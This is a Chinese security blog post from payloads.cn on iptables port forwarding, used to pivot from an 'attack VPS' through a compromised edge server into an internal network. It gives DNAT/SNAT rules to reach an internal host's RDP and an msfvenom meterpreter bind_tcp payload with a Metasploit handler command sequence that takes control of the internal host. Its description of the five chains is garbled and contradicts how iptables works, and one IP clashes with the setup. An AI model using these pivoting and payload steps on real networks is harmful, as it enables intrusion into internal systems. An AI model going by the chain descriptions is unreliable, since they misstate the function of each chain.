利用iptables进行端口转发

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

简介

iptables其实不是真正的防火墙,我们可以把它理解成一个客户端代理,用户通过iptables这个代理,将用户的安全设定执行到对应的“安全框架”中,这个“安全框架”才是真正的防火墙,这个框架的名字叫netfilter。它才是防火墙真正的安全框架(framework),netfilter位于内核空间。

所以,可以理解为:iptables其实是一个命令行工具,位于用户空间,我们用这个工具操作真正的框架。

规则编写

1
iptables table command chain Parameter&Xmatch target #表名 命令 链名 匹配条件 目标动作或跳转

img

参数详解

关于端口转发常用选项的简要说明:

1
2
3
4
5
6
7
8
9
10
-t #指定表
-A #在指定的链结尾追加一条新规则
-D #删除指定链中的某条规则
-L #打印指定链的所有规则列表
-P #设置为指定链的默认规则
-d #指明数据包的目的 ip
-s #指明数据包的源 ip
-p #指明协议,如,tcp,udp,icmp
-m #扩展选项
-j #指明实际的处理动作

四表五链

初步认识iptables四表五链的一些工作特性:

120807094039062

四表:

1
2
3
4
Filter #主要用于对数据包进行过滤,根据具体的规则决定是否放行该数据包。
Nat #主要用于修改数据包的IP地址 端口信息等(网络地址转换)。
Mangle #主要用于修改数据包的TOS TTL 以及数据包设置的mark标记。
Raw #主要用于决定数据包是否被状态跟踪机制处理。在匹配数据包时,raw表的规则要优先于其他表。

五链:

1
2
3
4
5
INPUT #用于修改数据包的服务类型,TTL... 决定数据包是否被状态跟踪机制处理
OUTPUT #处理来自外部的数据包 [相当于 windows 防火墙的入站]
FORWARD #处理流向外部的数据包 [相当于 windows 防火墙的出站]
PREROUTING #将数据直接转发到本机的其它网卡接口上 对数据包作路由选择前应用此链中的规则[所有的数据包进来时都先由此链处理]
POSTROUTING #对数据包作路由选择后应用此链中的规则[所有的数据包出来的时侯都先由这个链处理]

各表对应规则链如下:

image-20200205184255619

常用命令

基本命令

1
2
3
4
iptables -t nat -A PREROUTING -p tcp --dport [端口号] -j DNAT --to-destination [目标IP]
iptables -t nat -A PREROUTING -p udp --dport [端口号] -j DNAT --to-destination [目标IP]
iptables -t nat -A POSTROUTING -p tcp -d [目标IP] --dport [端口号] -j SNAT --to-source [本地服务器IP]
iptables -t nat -A POSTROUTING -p udp -d [目标IP] --dport [端口号] -j SNAT --to-source [本地服务器IP]

多端口转发修改方案: ( 将本地服务器的 5000065535 转发至目标 IP 为 1.1.1.1 的 5000065535 端口 )

1
2
3
4
iptables -t nat -A PREROUTING -p tcp -m tcp --dport 50000:65535 -j DNAT --to-destination 1.1.1.1
iptables -t nat -A PREROUTING -p udp -m udp --dport 50000:65535 -j DNAT --to-destination 1.1.1.1
iptables -t nat -A POSTROUTING -d 1.1.1.1 -p tcp -m tcp --dport 50000:65535 -j SNAT --to-source [本地服务器IP]
iptables -t nat -A POSTROUTING -d 1.1.1.1 -p udp -m udp --dport 50000:65535 -j SNAT --to-source [本地服务器IP]

非同端口号修改方案:(使用本地服务器的 60000 端口来转发目标 IP 为 1.1.1.1 的 50000 端口)

1
2
3
4
iptables -t nat -A PREROUTING -p tcp -m tcp --dport 60000 -j DNAT --to-destination 1.1.1.1:50000
iptables -t nat -A PREROUTING -p udp -m udp --dport 60000 -j DNAT --to-destination 1.1.1.1:50000
iptables -t nat -A POSTROUTING -d 1.1.1.1 -p tcp -m tcp --dport 50000 -j SNAT --to-source [本地服务器IP]
iptables -t nat -A POSTROUTING -d 1.1.1.1 -p udp -m udp --dport 50000 -j SNAT --to-source [本地服务器IP]

查看 NAT 规则

1
iptables -t nat -vnL

删除 NAT 规则
通过上面的查看规则命令,查看规则后,确定你要删除的规则的顺序,下面的命令是删除第一个规则。

1
2
iptables -t nat -D PREROUTING 1
iptables -t nat -D POSTROUTING 1

实例说明

环境准备

☁️VPS攻击机 192.168.199.246

☁️目标边界Linux web服务器(出网) 内网IP 192.168.144.203

目标内网Widnwos web服务器(不出网) 内网IP 192.168.144.211

开启路由转发

首先,在目标边界服务器上的开启系统路由转发功能:

1
2
3
sed -i '/net.ipv4.ip_forward/ s/\(.*= \).*/\11/' /etc/sysctl.conf
grep "net.ipv4.ip_forward" /etc/sysctl.conf
sysctl -p #使用命令让配置马上生效
image-20200205212925471

利用场景

RDP端口转发

通过☁️目标边界服务器访问目标内网服务器的远程桌面RDP:

1
/sbin/iptables -P INPUT ACCEPT #默认输入为允许

将192.168.144.203的5353端口的全部数据包转换为目的192.168.144.211的3389端口上,这一步只是先把数据包地址转换过来。

【注:192.168.144.203的5353端口为开放状态】

1
iptables -t nat -A PREROUTING -d 192.168.144.203 -p tcp -m tcp --dport 5353 -j DNAT --to-destination 192.168.144.211:3389

通俗来讲就是告诉iptables,目的192.168.144.211的3389端口的数据包都从192.168.122.144这个地址上走,这样就能访问到指定的目标内网机器 。

1
iptables -t nat -A POSTROUTING -d 192.168.144.211 -p tcp -m tcp --dport 3389 -j SNAT --to-source 192.168.144.203

将转发规则从eth0网卡流出。

1
iptables -A FORWARD -o eth0 -d 192.168.144.211 -p tcp --dport 3389 -j ACCEPT

保存iptables设置并重启。

1
/etc/init.d/iptables save && /etc/init.d/iptables restart

查看 iptables 的 NAT 规则。

1
iptables -t nat -vnL

image-20200205213955777

通过☁️目标边界服务器成功登录到目标内网服务器

image-20200205214343280

Metasploit上线

通过☁️目标边界服务器把其目标内网服务器(不出网)通过payload上线到☁️VPS攻击机的metasploit上。

1
2
3
4
5
/sbin/iptables -P INPUT ACCEPT
iptables -t nat -A PREROUTING -d 192.168.144.203 -p tcp -m tcp --dport 5353 -j DNAT --to-destination 192.168.144.211:53
iptables -t nat -A POSTROUTING -d 192.168.144.211 -p tcp -m tcp --dport 53 -j SNAT --to-source 192.168.144.203
iptables -A FORWARD -o eth0 -d 192.168.144.211 -p tcp --dport 53 -j ACCEPT
/etc/init.d/iptables save && /etc/init.d/iptables restart

通过msfvenom生成正向的payload。

1
sudo msfvenom -p windows/x64/meterpreter/bind_tcp lport=53 -f exe > fw.exe

接着,在☁️VPS攻击机启用metasploit监听后,将该payload在目标内网服务器(不出网) 上执行。

1
2
3
4
5
6
sudo msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 192.168.144.203 #边界服务器IP
msf5 exploit(multi/handler) > set lport 5353 #边界服务器port
msf5 exploit(multi/handler) > run -j

最后,目标内网服务器(不出网)成功上线到☁️VPS攻击机的metasploit上。

image-20200205223540823

总结

Linux的iptables有些类似windows的netsh,但iptables的功能更加强大。由于需要事先开启目标系统的路由转发功能,所以root权限是必不可少的,一切都需在提权之后进行。